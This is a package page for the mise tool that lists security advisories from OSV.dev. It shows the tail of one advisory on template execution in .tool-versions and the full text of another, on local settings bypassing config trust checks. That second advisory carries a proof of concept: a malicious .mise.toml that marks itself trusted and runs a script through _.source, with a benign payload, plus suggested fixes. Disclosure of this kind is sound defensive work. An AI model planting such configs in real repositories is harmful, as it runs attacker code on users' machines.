// In src/config/config_file/tool_versions.rs pub fn from_file(path: &Path) -> Result<Self> { trace!("parsing tool-versions: {}", path.display()); Self::parse_str(&file::read_to_string(path)?, path.to_path_buf()) } pub fn parse_str(s: &str, path: PathBuf) -> Result<Self> { let mut cf = Self::init(&path); let dir = path.parent(); // Only use tera if the file contains template syntax AND is trusted let s = if s.contains("{{") || s.contains("{%") || s.contains("{#") { trust_check(&path)?; get_tera(dir).render_str(s, &cf.context)? } else { s.to_string() }; // ... }

Option 2: Remove exec() from .tool-versions tera context

Create a separate get_tera_safe() that does not register the exec function, and use it for .tool-versions parsing.

Option 3: Remove tera processing from .tool-versions entirely

.tool-versions is an asdf-compatible format that historically does not support templates. Removing tera from its parsing would be the safest approach and most consistent with user expectations.

Fixed in

2026.3.10

References

https://github.com/jdx/mise/security/advisories/GHSA-fjj5-v948-whjj
https://nvd.nist.gov/vuln/detail/CVE-2026-33646
https://github.com/jdx/mise

Updated Jul 21, 2026 · Source: OSV.dev
CVE-2026-35533 GHSA-436v-8fw5-4mj8 Apr 07, 2026

Local settings bypass config trust checks

7.7 / 10
High
Local High None Required Changed High High High

Summary

mise loads trust-control settings from a local project .mise.toml before the trust check runs. An attacker who can place a malicious .mise.toml in a repository can make that same file appear trusted and then reach dangerous directives such as [env] _.source, templates, hooks, or tasks.

The strongest current variant is trusted_config_paths = ["/"]. I confirmed on current v2026.3.17 in Docker that this causes an untrusted project config to become trusted during mise hook-env, which then executes an attacker-controlled _.source script. The same preload issue also lets local yes = true / ci = true auto-approve trust prompts on v2026.2.18+, but the primary PoC below uses the stronger trusted_config_paths path.

Details

The vulnerable load order is:

Settings::try_get() preloads local settings files.

parse_settings_file() returns settings_file.settings without checking whether the file is trusted.

trust_check() later consults those already-loaded settings.

The main trust-bypass path is in is_trusted():

let settings = Settings::get(); for p in settings.trusted_config_paths() { if canonicalized_path.starts_with(p) { add_trusted(canonicalized_path.to_path_buf()); return true; } }

If a local project file sets:

[settings] trusted_config_paths = ["/"]

then every absolute path matches, so the same untrusted file is marked trusted before the dangerous-directive guard is reached.

Related variant: trust_check() auto-accepts explicit trust prompts when Settings::get().yes is true, and Settings::try_get() sets yes = true when ci is set. I confirmed that regression on v2026.2.18, but the primary PoC below does not depend on it.

PoC

Test environment:

Docker

linux-arm64

mise v2026.3.17

Negative control:

[env] _.source = ["./poc.sh"]

mise ls fails with:

Config files in /work/poc/.mise.toml are not trusted.

and /tmp/mise-proof.txt is not created.

Primary exploit:

[settings] trusted_config_paths = ["/"] [env] _.source = ["./poc.sh"]

with:

#!/usr/bin/env bash echo trusted_paths_hookenv > /tmp/mise-proof.txt

Then:

mise hook-env -s bash --force

Observed:

/tmp/mise-proof.txt => trusted_paths_hookenv

Related regression check:

v2026.2.17: local yes = true does not bypass trust

v2026.2.18: the same local yes = true value auto-approves the trust prompt and the side effect file is created

Impact

An attacker who can place a .mise.toml in a repository can make mise trust and evaluate dangerous directives from that same untrusted file.

Demonstrated on current supported versions:

execution via [env] _.source during mise hook-env

bypass of the protection that mise trust is supposed to provide for dangerous config features

On newer versions, the same root cause also lets local yes / ci values auto-approve explicit trust prompts.

Suggested Fix

Do not honor trust-control settings from non-global project config files.

At minimum, ignore these fields when loading local project config:

trusted_config_paths

yes

ci

paranoid

For example:

pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings; if !config::is_global_config(path) { settings.yes = None; settings.ci = None; settings.trusted_config_paths = None; settings.paranoid = None; } Ok(settings) }

Fixed in

2026.6.4

References

https://github.com/jdx/mise/security/advisories/GHSA-436v-8fw5-4mj8
https://nvd.nist.gov/vuln/detail/CVE-2026-35533
https://github.com/jdx/mise

Updated Jun 12, 2026 · Source: OSV.dev

Insights

Releases per month

last 12 months

Release mix

major 2
minor 31
patch 603

637 releases

Dependencies over time

per release

Release calendar

2026

Jan

Feb

Mar

Apr

May

Jun

Jul

Aug

Sep

Oct

Nov

Dec

Less More